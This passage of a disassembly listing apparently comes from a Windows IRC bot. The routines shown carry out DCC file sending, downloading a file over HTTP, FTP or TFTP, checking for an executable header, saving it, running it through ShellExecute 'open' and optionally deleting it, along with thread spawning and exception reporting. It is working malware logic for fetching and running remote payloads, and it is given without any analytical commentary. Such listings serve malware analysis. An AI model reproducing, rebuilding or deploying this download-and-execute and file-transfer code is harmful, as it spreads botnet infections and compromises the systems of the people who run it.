loc_401BCB: ; CODE XREF: sub_401B81+3Bj
lea eax, [ebp+var_2D3]
jmp short loc_401BDA
; ---------------------------------------------------------------------------
loc_401BD3: ; CODE XREF: sub_401B81+45j
lea eax, [ebp+eax+var_2D2]
loc_401BDA: ; CODE XREF: sub_401B81+50j
push eax
lea eax, [ebp+var_3FC]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
lea eax, [ebp+var_8]
pop ecx
mov [ebp+var_8], 10h
push eax
lea eax, [ebp+var_2C]
push eax
call sub_4091A7
push eax
call dword_412250 ; getsockname
push 2
push esi
push esi
lea eax, [ebp+var_A00]
push 401h
push eax
push [ebp+var_8]
lea eax, [ebp+var_2C]
push eax
call dword_419228
test eax, eax
jz short loc_401C32
loc_401C25: ; CODE XREF: sub_401B81+E3j
push [ebp+var_2F8]
call sub_406E6F
jmp short loc_401C91
; ---------------------------------------------------------------------------
loc_401C32: ; CODE XREF: sub_401B81+A2j
lea eax, [ebp+var_14]
push 0Ah
push eax
push 1388h
push 400h
call sub_40B459
pop ecx
pop ecx
push eax
call sub_41192A ; _itoa
lea eax, [ebp+var_14]
push 1
push eax
call sub_403644
mov edi, eax
add esp, 14h
cmp edi, esi
mov [ebp+var_1C], edi
jz short loc_401C25
lea eax, [ebp+var_2D3]
push offset aRb ; "rb"
push eax
call sub_411506 ; fopen
mov ebx, eax
pop ecx
cmp ebx, esi
pop ecx
jnz short loc_401C97
push edi
call sub_40392A
push [ebp+var_2F8]
call sub_406E6F
pop ecx
loc_401C91: ; CODE XREF: sub_401B81+AFj
pop ecx
jmp loc_401E9F
; ---------------------------------------------------------------------------
loc_401C97: ; CODE XREF: sub_401B81+FCj
push 2
push esi
push ebx
call sub_411516 ; fseek
push ebx
call sub_4114F4 ; ftell
push esi
push esi
push ebx
mov [ebp+var_4], eax
call sub_411516 ; fseek
add esp, 1Ch
lea eax, [ebp+var_A00]
push eax
lea eax, [ebp+var_3FC]
push eax
lea eax, [ebp+var_2F4]
push offset aDccSendSS ; "DCC Send %s (%s)"
push eax
call sub_4095E7
add esp, 10h
lea eax, [ebp+var_14]
push [ebp+var_4]
push eax
lea eax, [ebp+var_A00]
push eax
call dword_412254 ; inet_addr
push eax
call dword_41225C ; htonl
push eax
lea eax, [ebp+var_3FC]
push eax
lea eax, [ebp+var_2F4]
push offset dword_413348
push eax
call sub_409659
push 0EA60h
push edi
call sub_403767
add esp, 20h
cmp eax, esi
mov [ebp+var_C], eax
jz loc_401E85
cmp eax, 0FFFFFFFFh
jz loc_401E85
lea eax, [ebp+var_2F4]
push eax
lea eax, [ebp+var_3FC]
push eax
mov eax, [ebp+var_2F8]
push dword ptr [eax]
lea eax, [ebp+var_1CF]
push offset dword_413320
push eax
call sub_4096CB
call sub_4114E2 ; clock
mov esi, 200h
mov [ebp+arg_0], eax
push ebx
push esi
lea eax, [ebp+var_5FC]
push 1
push eax
call sub_411510 ; fread
add esp, 24h
loc_401D73: ; CODE XREF: sub_401B81+23Aj
mov edi, eax
test edi, edi
jz short loc_401DE1
cmp edi, esi
ja short loc_401DE1
lea eax, [ebp+var_5FC]
push edi
push eax
push [ebp+var_C]
call sub_403D9D
add esp, 0Ch
test eax, eax
jz short loc_401DBD
cmp edi, esi
jb short loc_401DE1
mov eax, [ebp+var_2F8]
cmp dword ptr [eax+4], 0
jnz loc_401E5F
push ebx
push esi
lea eax, [ebp+var_5FC]
push 1
push eax
call sub_411510 ; fread
add esp, 10h
jmp short loc_401D73
; ---------------------------------------------------------------------------
loc_401DBD: ; CODE XREF: sub_401B81+211j
lea eax, [ebp+var_2F4]
push eax
lea eax, [ebp+var_3FC]
push eax
lea eax, [ebp+var_1CF]
push offset dword_4132F4
push eax
call sub_4096CB
add esp, 10h
jmp short loc_401E5F
; ---------------------------------------------------------------------------
loc_401DE1: ; CODE XREF: sub_401B81+1F6j
; sub_401B81+1FAj ...
call sub_4114E2 ; clock
cmp [ebp+arg_0], eax
jnz short loc_401DF4
call sub_4114E2 ; clock
dec eax
mov [ebp+arg_0], eax
loc_401DF4: ; CODE XREF: sub_401B81+268j
mov eax, [ebp+var_4]
mov ecx, 400h
cdq
idiv ecx
mov [ebp+var_4], eax
fild [ebp+var_4]
fstp [ebp+var_18]
call sub_4114E2 ; clock
sub eax, [ebp+arg_0]
push ecx
push ecx
mov [ebp+var_4], eax
fild [ebp+var_4]
fmul flt_412280
fdivr [ebp+var_18]
fstp [esp+0A14h+var_A14]
call sub_4114E2 ; clock
sub eax, [ebp+arg_0]
push ecx
push ecx
mov [ebp+arg_0], eax
lea eax, [ebp+var_2F4]
fild [ebp+arg_0]
fmul flt_412280
fstp [esp+0A1Ch+var_A1C]
push eax
lea eax, [ebp+var_3FC]
push eax
lea eax, [ebp+var_1CF]
push offset dword_4132B0
push eax
call sub_4096CB
add esp, 20h
loc_401E5F: ; CODE XREF: sub_401B81+221j
; sub_401B81+25Ej
push [ebp+var_C]
call sub_403D70
push ebx
call sub_411500 ; fclose
push [ebp+var_1C]
call sub_40392A
push [ebp+var_2F8]
call sub_406E6F
add esp, 10h
jmp short loc_401E9F
; ---------------------------------------------------------------------------
loc_401E85: ; CODE XREF: sub_401B81+19Cj
; sub_401B81+1A5j
push ebx
call sub_411500 ; fclose
push edi
call sub_40392A
push [ebp+var_2F8]
call sub_406E6F
add esp, 0Ch
loc_401E9F: ; CODE XREF: sub_401B81+111j
; sub_401B81+302j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_401B81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401EA8 proc near ; CODE XREF: sub_409918+194p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_4], ebx
push esi
push edi
jz loc_401F9E
cmp [ebp+arg_8], ebx
jz loc_401F9E
cmp [ebp+arg_C], ebx
jz loc_401F9E
cmp [ebp+arg_10], ebx
jz loc_401F9E
push [ebp+arg_10]
call sub_41151C ; atoi
mov esi, eax
pop ecx
cmp esi, ebx
jz loc_401F9E
cmp esi, 0FFFFh
ja loc_401F9E
push [ebp+arg_14]
call sub_41151C ; atoi
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_401F9E
cmp esi, 40000000h
ja loc_401F9E
push 3D6h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
cmp esi, ebx
jz short loc_401F9E
push 21h
lea eax, [esi+4]
push [ebp+arg_4]
push eax
call sub_4114D6 ; strncpy
push 104h
lea eax, [esi+25h]
push [ebp+arg_8]
push eax
call sub_4114D6 ; strncpy
push 100h
lea eax, [esi+129h]
push [ebp+arg_C]
push eax
call sub_4114D6 ; strncpy
push 6
lea eax, [esi+229h]
push [ebp+arg_10]
push eax
call sub_4114D6 ; strncpy
push 1A3h
lea eax, [esi+233h]
push [ebp+arg_0]
mov [esi+22Fh], edi
push eax
call sub_4114D0 ; memcpy
add esp, 3Ch
push [ebp+arg_4]
push [ebp+arg_8]
push offset dword_41337C
push ebx
push esi
push offset sub_401985
call sub_406D58
add esp, 18h
loc_401F9E: ; CODE XREF: sub_401EA8+Bj
; sub_401EA8+14j ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_401EA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401FA3 proc near ; CODE XREF: sub_407A76+5FFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push esi
jz short loc_402015
cmp [ebp+arg_8], 0
jz short loc_402015
push 2CCh
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_402015
push 21h
lea eax, [esi+4]
push [ebp+arg_4]
push eax
call sub_4114D6 ; strncpy
push 104h
lea eax, [esi+25h]
push [ebp+arg_8]
push eax
call sub_4114D6 ; strncpy
push 1A3h
lea eax, [esi+129h]
push [ebp+arg_0]
push eax
call sub_4114D0 ; memcpy
add esp, 24h
push [ebp+arg_4]
push [ebp+arg_8]
push offset dword_4133A0
push 0
push esi
push offset sub_401B81
call sub_406D58
add esp, 18h
loc_402015: ; CODE XREF: sub_401FA3+8j
; sub_401FA3+Ej ...
pop esi
pop ebp
retn
sub_401FA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402018 proc near ; CODE XREF: sub_402230+3CAp
var_408 = byte ptr -408h
var_4 = dword ptr -4
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 408h
push ebx
push esi
mov ebx, 2710h
push edi
push ebx
push 0
push [ebp+arg_C]
push [ebp+arg_8]
call sub_403C04
mov esi, eax
add esp, 10h
test esi, esi
mov [ebp+arg_C], esi
jz loc_402226
push [ebp+arg_8]
mov edi, 401h
lea eax, [ebp+var_408]
push [ebp+arg_10]
push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
push edi
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_408]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_408]
push eax
push esi
call sub_403D9D
push ebx
lea eax, [ebp+var_408]
push edi
push eax
push esi
call sub_403DF6
add esp, 34h
mov [ebp+arg_10], eax
test eax, eax
jz loc_40221F
cmp eax, 0FFFFFFFFh
jz loc_40221F
lea eax, [ebp+var_408]
push offset asc_4133EC ; "\r\n\r\n"
push eax
call sub_411528 ; strstr
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz loc_40221A
lea eax, [ebp+var_408]
push offset aContentLength ; "Content-Length: "
push eax
add esi, 4
call sub_411528 ; strstr
pop ecx
test eax, eax
pop ecx
jz loc_40221A
cmp eax, esi
ja loc_40221A
and [ebp+var_4], 0
lea ecx, [ebp+var_4]
push ecx
push offset aContentLengthU ; "Content-Length: %u\r\n"
push eax
call sub_411522 ; sscanf
add esp, 0Ch
cmp eax, 1
jnz loc_40221A
mov ecx, [ebp+var_4]
test ecx, ecx
jz loc_40221A
cmp [ebp+arg_1C], 0
jz short loc_40212B
cmp ecx, 2
jb loc_40221A
cmp word ptr [esi], 5A4Dh
jnz loc_40221A
loc_40212B: ; CODE XREF: sub_402018+FDj
mov eax, [ebp+arg_18]
test eax, eax
jz short loc_402134
mov [eax], ecx
loc_402134: ; CODE XREF: sub_402018+118j
push [ebp+arg_14]
call sub_4111BA
test eax, eax
pop ecx
jnz loc_40221A
push offset dword_4132AC
push [ebp+arg_14]
call sub_411506 ; fopen
pop ecx
mov [ebp+arg_8], eax
test eax, eax
pop ecx
jnz short loc_40216D
loc_40215B: ; CODE XREF: sub_402018+1CFj
xor esi, esi
loc_40215D: ; CODE XREF: sub_402018+1E0j
push [ebp+arg_C]
call sub_403D70
pop ecx
mov eax, esi
jmp loc_402228
; ---------------------------------------------------------------------------
loc_40216D: ; CODE XREF: sub_402018+141j
push eax
mov eax, [ebp+arg_10]
sub eax, esi
lea eax, [ebp+eax+var_408]
push eax
push 1
push esi
call sub_4114FA ; fwrite
sub esi, [ebp+arg_10]
lea eax, [ebp+var_408]
add esp, 10h
sub esi, eax
add [ebp+var_4], esi
loc_402194: ; CODE XREF: sub_402018+1C7j
mov eax, [ebp+arg_20]
test eax, eax
jz short loc_4021A1
cmp dword ptr [eax+4], 0
jnz short loc_4021EC
loc_4021A1: ; CODE XREF: sub_402018+181j
push ebx
lea eax, [ebp+var_408]
push edi
push eax
push [ebp+arg_C]
call sub_403DF6
mov esi, eax
add esp, 10h
test esi, esi
jz short loc_4021FD
cmp esi, 0FFFFFFFFh
jz short loc_4021FD
cmp esi, [ebp+var_4]
push [ebp+arg_8]
ja short loc_4021E1
push esi
lea eax, [ebp+var_408]
push 1
push eax
call sub_4114FA ; fwrite
add esp, 10h
sub [ebp+var_4], esi
jz short loc_4021EC
jmp short loc_402194
; ---------------------------------------------------------------------------
loc_4021E1: ; CODE XREF: sub_402018+1AEj
call sub_411500 ; fclose
pop ecx
jmp loc_40215B
; ---------------------------------------------------------------------------
loc_4021EC: ; CODE XREF: sub_402018+187j
; sub_402018+1C5j
push [ebp+arg_8]
call sub_411500 ; fclose
pop ecx
push 1
pop esi
jmp loc_40215D
; ---------------------------------------------------------------------------
loc_4021FD: ; CODE XREF: sub_402018+1A1j
; sub_402018+1A6j
push [ebp+arg_8]
call sub_411500 ; fclose
push [ebp+arg_C]
call sub_403D70
pop ecx
pop ecx
push [ebp+arg_14]
call dword_4120B8 ; DeleteFileA
jmp short loc_402226
; ---------------------------------------------------------------------------
loc_40221A: ; CODE XREF: sub_402018+A3j
; sub_402018+C1j ...
push [ebp+arg_C]
jmp short loc_402220
; ---------------------------------------------------------------------------
loc_40221F: ; CODE XREF: sub_402018+7Dj
; sub_402018+86j
push esi
loc_402220: ; CODE XREF: sub_402018+205j
call sub_403D70
pop ecx
loc_402226: ; CODE XREF: sub_402018+29j
; sub_402018+200j
xor eax, eax
loc_402228: ; CODE XREF: sub_402018+150j
pop edi
pop esi
pop ebx
leave
retn
sub_402018 endp
; =============== S U B R O U T I N E =======================================
sub_40222D proc near ; CODE XREF: sub_402230+415p
; sub_402230+452p
xor eax, eax
retn
sub_40222D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402230 proc near ; DATA XREF: sub_4027CB+9Fo
var_7EC = qword ptr -7ECh
var_7D4 = byte ptr -7D4h
var_6D0 = byte ptr -6D0h
var_5D0 = byte ptr -5D0h
var_4CC = byte ptr -4CCh
var_4CB = byte ptr -4CBh
var_44C = byte ptr -44Ch
var_44B = byte ptr -44Bh
var_3CC = dword ptr -3CCh
var_3C8 = byte ptr -3C8h
var_3C7 = byte ptr -3C7h
var_3C2 = byte ptr -3C2h
var_3C1 = byte ptr -3C1h
var_2C4 = byte ptr -2C4h
var_1C0 = byte ptr -1C0h
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_36 = byte ptr -36h
var_33 = byte ptr -33h
var_26 = byte ptr -26h
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7D4h
push ebx
push esi
push edi
push 3AFh
push [ebp+arg_0]
lea eax, [ebp+var_3CC]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_7D4]
push eax
call sub_4114B8 ; _mbscpy
mov dl, byte_4191D0
add esp, 18h
xor eax, eax
lea edi, [ebp+var_4CB]
push 1Fh
mov [ebp+var_4CC], dl
pop ecx
mov [ebp+var_44C], dl
rep stosd
stosw
stosb
push 1Fh
xor eax, eax
pop ecx
lea edi, [ebp+var_44B]
rep stosd
stosw
stosb
lea eax, [ebp+var_2C4]
xor ebx, ebx
push eax
lea eax, [ebp+var_7D4]
push eax
mov eax, [ebp+var_3CC]
mov dword ptr [ebp+var_14+4], 1
mov [ebp+arg_0], ebx
push dword ptr [eax]
lea eax, [ebp+var_1C0]
push offset dword_4135CC
push eax
call sub_4096CB
push 7
lea eax, [ebp+var_3C8]
push offset dword_4135C4
push eax
call sub_411930 ; _strnicmp
add esp, 20h
test eax, eax
jnz short loc_402347
lea eax, [ebp+var_2C4]
push ebx
push eax
lea eax, [ebp+var_3C1]
push eax
call dword_412068 ; CopyFileA
test eax, eax
jnz loc_402697
call dword_41206C ; RtlGetLastWin32Error
cmp eax, 20h
jnz short loc_40232E
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_3CC]
push dword ptr [eax]
push offset dword_41358C
jmp loc_40277E
; ---------------------------------------------------------------------------
loc_40232E: ; CODE XREF: sub_402230+E3j
lea eax, [ebp+var_3C1]
push eax
mov eax, [ebp+var_3CC]
push dword ptr [eax]
push offset dword_41355C
jmp loc_40277E
; ---------------------------------------------------------------------------
loc_402347: ; CODE XREF: sub_402230+BBj
lea eax, [ebp+var_3C8]
push eax
call sub_4114BE ; strlen
pop ecx
mov esi, eax
loc_402356: ; CODE XREF: sub_402230+136j
cmp esi, 0FFFFFFFFh
jz short loc_4023CD
cmp [ebp+esi+var_3C8], 3Ah
jz short loc_402368
dec esi
jmp short loc_402356
; ---------------------------------------------------------------------------
loc_402368: ; CODE XREF: sub_402230+133j
cmp [ebp+esi+var_3C7], bl
push 1
pop edi
jz short loc_40239B
mov al, [ebp+esi+var_3C7]
lea ecx, [ebp+esi+var_3C8]
loc_402382: ; CODE XREF: sub_402230+169j
cmp al, 2Fh
jz short loc_40239B
cmp al, 30h
jl short loc_4023CD
cmp al, 39h
jg short loc_4023CD
mov byte ptr [ebp+edi+var_C+3], al
mov al, [ecx+edi+1]
inc edi
cmp al, bl
jnz short loc_402382
loc_40239B: ; CODE XREF: sub_402230+142j
; sub_402230+154j
lea eax, [ebp+var_8]
mov byte ptr [ebp+edi+var_C+3], bl
push eax
call sub_4032A7
test eax, eax
pop ecx
jz short loc_4023CD
add edi, esi
lea eax, [ebp+edi+var_3C8]
push eax
lea eax, [ebp+esi+var_3C8]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
mov [ebp+arg_0], 1
pop ecx
loc_4023CD: ; CODE XREF: sub_402230+129j
; sub_402230+158j ...
push 7
lea eax, [ebp+var_3C8]
push offset aHttp ; "http://"
push eax
call sub_411930 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_40241D
cmp [ebp+arg_0], ebx
jnz short loc_4023FC
lea eax, [ebp+var_8]
push offset a80 ; "80"
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_4023FC: ; CODE XREF: sub_402230+1BAj
lea eax, [ebp+var_3C1]
push eax
lea eax, [ebp+var_3C8]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
mov [ebp+arg_0], 1
pop ecx
jmp loc_4024D9
; ---------------------------------------------------------------------------
loc_40241D: ; CODE XREF: sub_402230+1B5j
push 6
lea eax, [ebp+var_3C8]
push offset aFtp ; "ftp://"
push eax
call sub_411930 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_40248A
cmp [ebp+arg_0], ebx
jnz short loc_40244C
lea eax, [ebp+var_8]
push offset a21 ; "21"
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_40244C: ; CODE XREF: sub_402230+20Aj
lea eax, [ebp+var_3C2]
push eax
lea eax, [ebp+var_3C8]
push eax
call sub_4114B8 ; _mbscpy
mov esi, offset aAnonymous ; "anonymous"
lea eax, [ebp+var_4CC]
push esi
push eax
mov [ebp+arg_0], 2
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_44C]
push esi
push eax
call sub_4114B8 ; _mbscpy
add esp, 18h
jmp short loc_4024D9
; ---------------------------------------------------------------------------
loc_40248A: ; CODE XREF: sub_402230+205j
push 7
lea eax, [ebp+var_3C8]
push offset aTftp ; "tftp://"
push eax
call sub_411930 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz loc_40279B
cmp [ebp+arg_0], ebx
jnz short loc_4024BD
lea eax, [ebp+var_8]
push offset a69 ; "69"
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_4024BD: ; CODE XREF: sub_402230+27Bj
lea eax, [ebp+var_3C1]
push eax
lea eax, [ebp+var_3C8]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
mov [ebp+arg_0], 3
pop ecx
loc_4024D9: ; CODE XREF: sub_402230+1E8j
; sub_402230+258j
lea eax, [ebp+var_3C8]
push eax
call sub_4114BE ; strlen
pop ecx
mov esi, eax
loc_4024E8: ; CODE XREF: sub_402230+2C8j
cmp esi, 0FFFFFFFFh
jz short loc_40255C
cmp [ebp+esi+var_3C8], 40h
jz short loc_4024FA
dec esi
jmp short loc_4024E8
; ---------------------------------------------------------------------------
loc_4024FA: ; CODE XREF: sub_402230+2C5j
lea eax, [ebp+var_3C8]
push offset asc_413528 ; ":"
push eax
mov [ebp+esi+var_3C8], bl
call sub_411528 ; strstr
pop ecx
cmp eax, ebx
pop ecx
mov edi, 80h
jz short loc_402531
mov [eax], bl
inc eax
push edi
push eax
lea eax, [ebp+var_44C]
push eax
call sub_4059C2
add esp, 0Ch
loc_402531: ; CODE XREF: sub_402230+2EBj
lea eax, [ebp+var_3C8]
push edi
push eax
lea eax, [ebp+var_4CC]
push eax
call sub_4059C2
lea eax, [ebp+esi+var_3C7]
push eax
lea eax, [ebp+var_3C8]
push eax
call sub_4114B8 ; _mbscpy
add esp, 14h
loc_40255C: ; CODE XREF: sub_402230+2BBj
lea eax, [ebp+var_3C8]
push offset asc_413524 ; "/"
push eax
call sub_411528 ; strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jnz short loc_402587
mov eax, [ebp+var_3CC]
push dword ptr [eax]
push offset unk_4134F8
jmp loc_4027A8
; ---------------------------------------------------------------------------
loc_402587: ; CODE XREF: sub_402230+343j
lea eax, [esi+1]
push eax
lea eax, [ebp+var_5D0]
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_3C8]
mov [esi], bl
push eax
lea eax, [ebp+var_6D0]
push eax
call sub_4114B8 ; _mbscpy
add esp, 10h
call sub_4114E2 ; clock
cmp [ebp+arg_0], 1
mov dword ptr [ebp+var_1C+4], eax
mov [ebp+var_C], ebx
jnz short loc_402605
push [ebp+var_3CC]
xor eax, eax
cmp [ebp+var_38], bl
setnz al
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_5D0]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6D0]
push eax
lea eax, [ebp+var_44C]
push eax
lea eax, [ebp+var_4CC]
push eax
call sub_402018
add esp, 24h
mov dword ptr [ebp+var_14+4], eax
loc_402605: ; CODE XREF: sub_402230+38Ej
cmp [ebp+arg_0], 2
jnz short loc_402650
push [ebp+var_3CC]
xor eax, eax
cmp [ebp+var_38], bl
setnz al
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_5D0]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6D0]
push eax
lea eax, [ebp+var_44C]
push eax
lea eax, [ebp+var_4CC]
push eax
call sub_40222D
add esp, 24h
mov dword ptr [ebp+var_14+4], eax
loc_402650: ; CODE XREF: sub_402230+3D9j
cmp [ebp+arg_0], 3
jnz short loc_40268D
push [ebp+var_3CC]
xor eax, eax
cmp [ebp+var_38], bl
setnz al
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_5D0]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6D0]
push eax
call sub_40222D
add esp, 1Ch
mov dword ptr [ebp+var_14+4], eax
loc_40268D: ; CODE XREF: sub_402230+424j
cmp dword ptr [ebp+var_14+4], 1
jnz loc_40276A
loc_402697: ; CODE XREF: sub_402230+D4j
cmp [ebp+var_26], bl
jz short loc_4026A3
mov eax, offset dword_4134EC
jmp short loc_4026B2
; ---------------------------------------------------------------------------
loc_4026A3: ; CODE XREF: sub_402230+46Aj
cmp [ebp+var_36], bl
mov eax, offset dword_4134E0
jnz short loc_4026B2
mov eax, offset byte_4191D0
loc_4026B2: ; CODE XREF: sub_402230+471j
; sub_402230+47Bj
push eax
mov eax, [ebp+var_C]
shr eax, 0Ah
mov dword ptr [ebp+var_14], eax
mov dword ptr [ebp+var_14+4], ebx
fild [ebp+var_14]
fstp [ebp+arg_0]
call sub_4114E2 ; clock
sub eax, dword ptr [ebp+var_1C+4]
mov dword ptr [ebp+var_1C+4], ebx
push ecx
push ecx
mov dword ptr [ebp+var_1C], eax
lea eax, [ebp+var_2C4]
fild [ebp+var_1C]
fmul flt_412280
fdivr [ebp+arg_0]
fstp [esp+7ECh+var_7EC]
push eax
mov eax, [ebp+var_3CC]
push dword ptr [eax]
lea eax, [ebp+var_1C0]
push offset dword_413498
push eax
call sub_4096CB
add esp, 1Ch
cmp [ebp+var_37], bl
jz short loc_40271B
lea eax, [ebp+var_2C4]
push eax
call dword_4120B8 ; DeleteFileA
jmp short loc_40278D
; ---------------------------------------------------------------------------
loc_40271B: ; CODE XREF: sub_402230+4DAj
cmp [ebp+var_36], bl
jnz short loc_402725
cmp [ebp+var_26], bl
jz short loc_40278D
loc_402725: ; CODE XREF: sub_402230+4EEj
xor eax, eax
cmp [ebp+var_33], bl
setz al
push eax
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push offset aOpen ; "open"
push ebx
call dword_4121E4
cmp eax, 20h
jbe short loc_402754
cmp [ebp+var_26], bl
jz short loc_40278D
call sub_4052DF
jmp short loc_40278D
; ---------------------------------------------------------------------------
loc_402754: ; CODE XREF: sub_402230+516j
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_3CC]
push dword ptr [eax]
push offset dword_413470
jmp short loc_40277E
; ---------------------------------------------------------------------------
loc_40276A: ; CODE XREF: sub_402230+461j
lea eax, [ebp+var_7D4]
push eax
mov eax, [ebp+var_3CC]
push dword ptr [eax]
push offset dword_413440
loc_40277E: ; CODE XREF: sub_402230+F9j
; sub_402230+112j ...
lea eax, [ebp+var_1C0]
push eax
call sub_4096CB
add esp, 10h
loc_40278D: ; CODE XREF: sub_402230+4E9j
; sub_402230+4F3j ...
push [ebp+var_3CC]
call sub_406E6F
pop ecx
jmp short loc_4027C2
; ---------------------------------------------------------------------------
loc_40279B: ; CODE XREF: sub_402230+272j
mov eax, [ebp+var_3CC]
push dword ptr [eax]
push offset unk_413414
loc_4027A8: ; CODE XREF: sub_402230+352j
lea eax, [ebp+var_1C0]
push eax
call sub_4096CB
push [ebp+var_3CC]
call sub_406E6F
add esp, 10h
loc_4027C2: ; CODE XREF: sub_402230+569j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_402230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4027CB proc near ; CODE XREF: sub_407A76+5DDp
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_4], 0
push esi
jz loc_402879
push 3AFh
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz loc_402879
push 8
push 7Ah
push 61h
lea eax, [ebp+var_10]
push 4
push eax
call sub_40B515
and [ebp+eax+var_10], 0
lea eax, [ebp+var_10]
push offset dword_413620
push eax
call sub_4114EE ; _mbscat
add esp, 1Ch
cmp [ebp+arg_8], 0
jnz short loc_402824
lea eax, [ebp+var_10]
mov [ebp+arg_8], eax
loc_402824: ; CODE XREF: sub_4027CB+51j
push ebx
push edi
mov edi, 104h
lea ebx, [esi+4]
push edi
push [ebp+arg_4]
push ebx
call sub_4059C2
push edi
lea eax, [esi+108h]
push [ebp+arg_8]
push eax
call sub_4059C2
push [ebp+arg_0]
lea eax, [esi+20Ch]
push eax
call sub_40457C
add esp, 20h
lea eax, [esi+108h]
push eax
push ebx
push offset dword_4135FC
push 0
push esi
push offset sub_402230
call sub_406D58
add esp, 18h
pop edi
pop ebx
loc_402879: ; CODE XREF: sub_4027CB+Bj
; sub_4027CB+20j
pop esi
leave
retn
sub_4027CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40287C proc near ; CODE XREF: sub_406BBC+7Ep
; sub_406CB2+83p ...
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
push 1
push offset dword_4191DC
call sub_407216
mov esi, [ebp+arg_0]
xor edi, edi
cmp dword_4191D8, edi
pop ecx
pop ecx
mov ebx, eax
jz loc_402994
mov edx, [esi]
mov eax, 0C0000025h
mov edi, offset aException_othe ; "EXCEPTION_OTHER"
mov ecx, [edx]
cmp ecx, eax
ja short loc_4028F1
jz short loc_4028EA
cmp ecx, 80000003h
jz short loc_4028E3
cmp ecx, 0C0000005h
jz short loc_4028DC
cmp ecx, 0C000001Dh
jnz short loc_402924
mov edi, offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
jmp short loc_402924
; ---------------------------------------------------------------------------
loc_4028DC: ; CODE XREF: sub_40287C+4Fj
mov edi, offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
jmp short loc_402924
; ---------------------------------------------------------------------------
loc_4028E3: ; CODE XREF: sub_40287C+47j
mov edi, offset aException_brea ; "EXCEPTION_BREAKPOINT"
jmp short loc_402924
; ---------------------------------------------------------------------------
loc_4028EA: ; CODE XREF: sub_40287C+3Fj
mov edi, offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
jmp short loc_402924
; ---------------------------------------------------------------------------
loc_4028F1: ; CODE XREF: sub_40287C+3Dj
cmp ecx, 0C000008Dh
jb short loc_402924
cmp ecx, 0C0000093h
jbe short loc_40291F
cmp ecx, 0C0000094h
jz short loc_402918
cmp ecx, 0C00000FDh
jnz short loc_402924
mov edi, offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
jmp short loc_402924
; ---------------------------------------------------------------------------
loc_402918: ; CODE XREF: sub_40287C+8Bj
mov edi, offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
jmp short loc_402924
; ---------------------------------------------------------------------------
loc_40291F: ; CODE XREF: sub_40287C+83j
